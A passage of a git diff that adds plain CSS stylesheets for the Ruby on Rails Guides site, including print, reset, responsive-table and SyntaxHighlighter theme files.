+ .guides-index-small .guides-index-item {
+ font: inherit;
+ padding-left: .75em;
+ font-size: .95em;
+ background-position: 96% -65px;
+ -webkit-appearance: none;
+ }
+}
+
+#guides {
+ width: 27em;
+ display: block;
+ background: #980905;
+ border-radius: 1em;
+ -webkit-border-radius: 1em;
+ -moz-border-radius: 1em;
+ -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+ -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+ color: #f1938c;
+ padding: 1.5em 2em;
+ position: absolute;
+ z-index: 10;
+ top: -0.25em;
+ right: 0;
+ padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+ font-weight: normal;
+ font-size: 0.722em;
+ margin: 0;
+ padding: 0;
+}
+#guides dt {padding:0; margin: 0.5em 0 0;}
+#guides a {color: #FFF; background: none !important; text-decoration: none;}
+#guides a:hover {text-decoration: underline;}
+#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
+#guides .R {float: right;}
+#guides hr {
+ display: block;
+ border: none;
+ height: 1px;
+ color: #f1938c;
+ background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+ font-size: 2.5em;
+ line-height: 1em;
+ margin: 0.6em 0 .2em;
+ font-weight: bold;
+}
+
+h2 {
+ font-size: 2.1428em;
+ line-height: 1em;
+ margin: 0.7em 0 .2333em;
+ font-weight: bold;
+}
+
+ at media screen and (max-width: 480px) {
+ h2 {
+ font-size: 1.45em;
+ }
+}
+
+h3 {
+ font-size: 1.7142em;
+ line-height: 1.286em;
+ margin: 0.875em 0 0.2916em;
+ font-weight: bold;
+}
+
+ at media screen and (max-width: 480px) {
+ h3 {
+ font-size: 1.45em;
+ }
+}
+
+h4 {
+ font-size: 1.2857em;
+ line-height: 1.2em;
+ margin: 1.6667em 0 .3887em;
+ font-weight: bold;
+}
+
+h5 {
+ font-size: 1em;
+ line-height: 1.5em;
+ margin: 1em 0 .5em;
+ font-weight: bold;
+}
+
+h6 {
+ font-size: 1em;
+ line-height: 1.5em;
+ margin: 1em 0 .5em;
+ font-weight: normal;
+}
+
+.section {
+ padding-bottom: 0.25em;
+ border-bottom: 1px solid #999;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+ margin: 0 2em 2em 0;
+}
+
+#topNav strong {color: #999; margin-right: 0.5em;}
+#topNav strong a {color: #FFF;}
+
+#header h1 {
+ float: left;
+ background: url(../images/rails_guides_logo.gif) no-repeat;
+ width: 297px;
+ text-indent: -9999em;
+ margin: 0;
+ padding: 0;
+}
+
+ at media screen and (max-width: 480px) {
+ #header h1 {
+ float: none;
+ }
+}
+
+#header h1 a {
+ text-decoration: none;
+ display: block;
+ height: 77px;
+}
+
+#feature p {
+ font-size: 1.2857em;
+ margin-bottom: 0.75em;
+}
+
+ at media screen and (max-width: 480px) {
+ #feature p {
+ font-size: 1em;
+ }
+}
+
+#feature ul {margin-left: 0;}
+#feature ul li {
+ list-style: none;
+ background: url(../images/check_bullet.gif) no-repeat left 0.5em;
+ padding: 0.5em 1.75em 0.5em 1.75em;
+ font-size: 1.1428em;
+ font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+ padding: 0.25em 0 1em;
+ border-bottom: 1px solid #CCC;
+ margin-bottom: 1em;
+ margin-left: 0;
+ /*padding-left: 28px;*/
+ padding-left: 0;
+}
+
+#mainCol dt, #subCol dt {
+ font-size: 1.2857em;
+ padding: 0.125em 0 0.25em 0;
+ margin-bottom: 0;
+ /*background: url(../images/book_icon.gif) no-repeat left top;
+ padding: 0.125em 0 0.25em 28px;*/
+}
+
+ at media screen and (max-width: 480px) {
+ #mainCol dt, #subCol dt {
+ font-size: 1em;
+ }
+}
+
+#mainCol dd.work-in-progress, #subCol dd.work-in-progress {
+ background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+ border: none;
+ padding: 1.25em 1em 1.25em 48px;
+ margin-left: 0;
+ margin-top: 0.25em;
+}
+
+#mainCol dd.kindle, #subCol dd.kindle {
+ background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+ border: none;
+ padding: 1.25em 1em 1.25em 48px;
+ margin-left: 0;
+ margin-top: 0.25em;
+}
+
+#mainCol div.warning, #subCol dd.warning {
+ background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
+ border: none;
+ padding: 1.25em 1.25em 0.25em 48px;
+ margin-left: 0;
+ margin-top: 0.25em;
+}
+
+#subCol .chapters {color: #980905;}
+#subCol .chapters a {font-weight: bold;}
+#subCol .chapters ul a {font-weight: normal;}
+#subCol .chapters li {margin-bottom: 0.75em;}
+#subCol h3.chapter {margin-top: 0.25em;}
+#subCol h3.chapter img {vertical-align: text-bottom;}
+#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
+#subCol .chapters ul li {
+ list-style: none;
+ padding: 0 0 0 1em;
+ background: url(../images/bullet.gif) no-repeat left 0.45em;
+ margin-left: 0;
+ font-size: 1em;
+ font-weight: normal;
+}
+
+div.code_container {
+ background: #EEE url(../images/tab_grey.gif) no-repeat left top;
+ padding: 0.25em 1em 0.5em 48px;
+}
+
+.note {
+ background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
+ border: none;
+ padding: 1em 1em 0.25em 48px;
+ margin: 0.25em 0 1.5em 0;
+}
+
+.info {
+ background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+ border: none;
+ padding: 1em 1em 0.25em 48px;
+ margin: 0.25em 0 1.5em 0;
+}
+
+#mainCol div.todo {
+ background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+ border: none;
+ padding: 1em 1em 0.25em 48px;
+ margin: 0.25em 0 1.5em 0;
+}
+
+.note code, .info code, .todo code {border:none; background: none; padding: 0;}
+
+#mainCol ul li {
+ list-style:none;
+ background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
+ padding-left: 1em;
+ margin-left: 0;
+}
+
+#subCol .content {
+ font-size: 0.7857em;
+ line-height: 1.5em;
+}
+
+#subCol .content li {
+ font-weight: normal;
+ background: none;
+ padding: 0 0 1em;
+ font-size: 1.1667em;
+}
+
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+ content: ".";
+ display: block;
+ height: 0;
+ clear: both;
+ visibility: hidden;
+}
+
+.clearfix {display: inline-block;}
+* html .clearfix {height: 1%;}
+.clearfix {display: block;}
+.clear { clear:both; }
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+div.code_container, div.important, div.caution, div.warning, div.note, div.info {
+ margin-bottom: 1.5em;
+}
+
+/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+spurious blank area below with the box background. */
+div.important p, div.caution p, div.warning p, div.note p, div.info p {
+ margin-bottom: 1em;
+}
+
+/* Edge Badge
+--------------------------------------- */
+
+#edge-badge {
+ position: fixed;
+ right: 0px;
+ top: 0px;
+ z-index: 100;
+ border: none;
+}
+
+/* Foundation v2.1.4 http://foundation.zurb.com */
+/* Artfully masterminded by ZURB */
+
+table th { font-weight: bold; }
+table td, table th { padding: 9px 10px; text-align: left; }
+
+/* Mobile */
+ at media only screen and (max-width: 767px) {
+ table.responsive { margin-bottom: 0; }
+
+ .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
+ .pinned table { border-right: none; border-left: none; width: 100%; }
+ .pinned table th, .pinned table td { white-space: nowrap; }
+ .pinned td:last-child { border-bottom: 0; }
+
+ div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
+ div.table-wrapper div.scrollable table { margin-left: 35%; }
+ div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }
+
+ table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; }
+ table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; }
+
+}
diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
new file mode 100644
index 0000000..628da10
--- /dev/null
+++ b/guides/assets/stylesheets/print.css
@@ -0,0 +1,52 @@
+/* Guides.rubyonrails.org */
+/* Print.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+
+body {
+ background: #FFF;
+ font-size: 10pt !important;
+ font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+ line-height: 1.5;
+ color: #000;
+ padding: 0 3%;
+ }
+
+.hide, .nav {
+ display: none !important;
+ }
+
+a:link, a:visited {
+ background: transparent;
+ font-weight: bold;
+ text-decoration: underline;
+ }
+
+hr {
+ background:#ccc;
+ color:#ccc;
+ width:100%;
+ height:2px;
+ margin:2em 0;
+ padding:0;
+ border:none;
+}
+
+h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; }
+
+img { float:left; margin:1.5em 1.5em 1.5em 0; }
+a img { border:none; }
+
+blockquote {
+ margin:1.5em;
+ padding:1em;
+ font-style:italic;
+ font-size:.9em;
+}
+
+.small { font-size: .9em; }
+.large { font-size: 1.1em; }
diff --git a/guides/assets/stylesheets/reset.css b/guides/assets/stylesheets/reset.css
new file mode 100644
index 0000000..cb14fbc
--- /dev/null
+++ b/guides/assets/stylesheets/reset.css
@@ -0,0 +1,43 @@
+/* Guides.rubyonrails.org */
+/* Reset.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+ margin: 0;
+ padding: 0;
+ border: 0;
+ outline: 0;
+ font-size: 100%;
+ background: transparent;
+}
+
+body {line-height: 1; color: black; background: white;}
+a img {border:none;}
+ins {text-decoration: none;}
+del {text-decoration: line-through;}
+
+:focus {
+ -moz-outline:0;
+ outline:0;
+ outline-offset:0;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+table {border-collapse: collapse; border-spacing: 0;}
+caption, th, td {text-align: left; font-weight: normal;}
+
+blockquote, q {quotes: none;}
+blockquote:before, blockquote:after,
+q:before, q:after {
+ content: '';
+ content: none;
+}
diff --git a/guides/assets/stylesheets/responsive-tables.css b/guides/assets/stylesheets/responsive-tables.css
new file mode 100755
index 0000000..f5fbcbf
--- /dev/null
+++ b/guides/assets/stylesheets/responsive-tables.css
@@ -0,0 +1,50 @@
+/* Foundation v2.1.4 http://foundation.zurb.com */
+/* Artfully masterminded by ZURB */
+
+/* --------------------------------------------------
+ Table of Contents
+-----------------------------------------------------
+:: Shared Styles
+:: Page Name 1
+:: Page Name 2
+*/
+
+
+/* -----------------------------------------
+ Shared Styles
+----------------------------------------- */
+
+table th { font-weight: bold; }
+table td, table th { padding: 9px 10px; text-align: left; }
+
+/* Mobile */
+ at media only screen and (max-width: 767px) {
+
+ table { margin-bottom: 0; }
+
+ .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
+ .pinned table { border-right: none; border-left: none; width: 100%; }
+ .pinned table th, .pinned table td { white-space: nowrap; }
+ .pinned td:last-child { border-bottom: 0; }
+
+ div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
+ div.table-wrapper div.scrollable table { margin-left: 35%; }
+ div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }
+
+ table td, table th { position: relative; white-space: nowrap; overflow: hidden; }
+ table th:first-child, table td:first-child, table td:first-child, table.pinned td { display: none; }
+
+}
+
+/* -----------------------------------------
+ Page Name 1
+----------------------------------------- */
+
+
+
+
+/* -----------------------------------------
+ Page Name 2
+----------------------------------------- */
+
+
diff --git a/guides/assets/stylesheets/style.css b/guides/assets/stylesheets/style.css
new file mode 100644
index 0000000..89b2ab8
--- /dev/null
+++ b/guides/assets/stylesheets/style.css
@@ -0,0 +1,13 @@
+/* Guides.rubyonrails.org */
+/* Style.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+/*
+---------------------------------------
+Import advanced style sheet
+---------------------------------------
+*/
+
+ at import url("reset.css");
+ at import url("main.css");
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCore.css b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
new file mode 100644
index 0000000..34f6864
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
@@ -0,0 +1,226 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
new file mode 100644
index 0000000..08f9e10
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
@@ -0,0 +1,328 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #e0e0e0 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: black !important;
+}
+.syntaxhighlighter table caption {
+ color: black !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #6ce26c !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #6ce26c !important;
+ color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: blue !important;
+ background: white !important;
+ border: 1px solid #6ce26c !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: blue !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: red !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #6ce26c !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: black !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: blue !important;
+}
+.syntaxhighlighter .keyword {
+ color: #006699 !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #006699 !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+ font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
new file mode 100644
index 0000000..1db1f70
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
@@ -0,0 +1,331 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
